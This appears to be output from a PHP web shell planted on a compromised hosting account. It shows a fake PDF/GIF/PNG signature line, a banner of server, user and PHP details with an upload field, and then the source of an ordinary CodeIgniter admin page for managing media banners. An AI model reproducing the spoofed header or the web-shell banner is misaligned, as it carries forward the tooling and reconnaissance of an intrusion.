%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/public_html/website_1ec2d7c2/apps/views/admin/mediabanner/ |
Upload File : |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="Creative - Bootstrap 3 Responsive Admin Template">
<meta name="author" content="GeeksLabs">
<meta name="keyword" content="Creative, Dashboard, Admin, Template, Theme, Bootstrap, Responsive, Retina, Minimal">
<link rel="shortcut icon" href="img/favicon.png">
<title>Manage Media Banner</title>
<?php $this->load->view("Element/admin/header_common.php");?>
</head>
<body>
<!-- container section start -->
<section id="container" class="">
<?php $this->load->view("Element/admin/header.php");?>
<!--main content start-->
<section id="main-content">
<section class="wrapper">
<!--overview start-->
<div class="row">
<div class="col-lg-12">
<h3 class="page-header"><i class="fa fa-laptop"></i> Manage Media Banner</h3>
<ol class="breadcrumb">
<li><i class="fa fa-home"></i><a href="<?=BASE_URL?>admin">Home</a></li>
<li><i class="fa fa-laptop"></i>Manage Media Banner</li>
</ol>
</div>
</div>
<div class="row">
<div class="col-lg-12">
<section class="panel">
<?php
if(validation_errors())
echo'<div class="error" id="FLASH" name="FLASH">'.validation_errors().'</div>';
if($this->session->flashdata("error")) echo '<div style="padding:10px; color:green" class="normal" id="FLASH" name="FLASH">'.$this->session->flashdata("error").'</div>';
?>
<header class="panel-heading">
Manage Media Banner
<br>
<div class="col-md-6" style="text-align: right; color: #000; line-height: 47px;"> </div>
<div class="col-md-12">
<a style="float:right;margin-bottom:10px;" class="btn btn-primary admin-buttns " href="<?=BASE_URL?>admin/mediabanner/add" title="Add New Image">Add Media Banner </a>
</div>
</header>
<table id="myTable" class="table table-striped table-advance table-hover">
<? if(count($Mediabanner) > 0) { ?>
<thead> <tr>
<th>Image Name</th>
<th>Image Title </th>
<th> Status</th>
<th> Action</th>
</tr>
</thead>
<tfoot>
<tr>
<th>Image Name</th>
<th>Image Title </th>
<th> Status</th>
<th> Action</th>
</tr>
</tfoot>
<tbody>
<? foreach($Mediabanner as $GalleryData) { ?>
<tr>
<td><?php $src = $this->image->getImageSrc("gallery",$GalleryData['image_name'],"");?>
<img src="<?=$src?>" style="width:110px;"/> </td>
<td><?=substr($GalleryData['image_tittle'],0,80);?> </td>
<td><?=($GalleryData['status']==1)?'Active':'Archive';?></td>
<td>
<div class="btn-group">
<a class="btn btn-info" href="<?=BASE_URL.'admin/mediabanner/edit/'.$GalleryData['id']?>" onclick="return confirm('Are You Sure to Edit ?');"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
<a class="btn btn-danger" href="<?=BASE_URL.'admin/mediabanner/delete/'.$GalleryData['id']?>" onclick="return confirm('Are You Sure to Delete ?');"><i class="fa fa-trash-o" aria-hidden="true"></i></a>
</div>
</td>
</tr>
<? } ?>
</tbody>
<?php } else{ ?>
<tbody>
<tr class="odd"><td valign="top" colspan="4" class="dataTables_empty">No records found</td></tr></tbody>
<? } ?>
</table>
</section>
</div>
</div>
<!-- project team & activity end -->
</section>
<?php $this->load->view("Element/admin/footer_common.php");?>
</section>
<!--main content end-->
</section>
<!-- container section start -->
<script>
function redirect(url){
window.location.href= url ;
}
</script>
<?php $this->load->view("Element/admin/footer.php");?>
<script>
$(document).ready(function(){
$('#myTable').DataTable();
})
</script>
</body>
</html>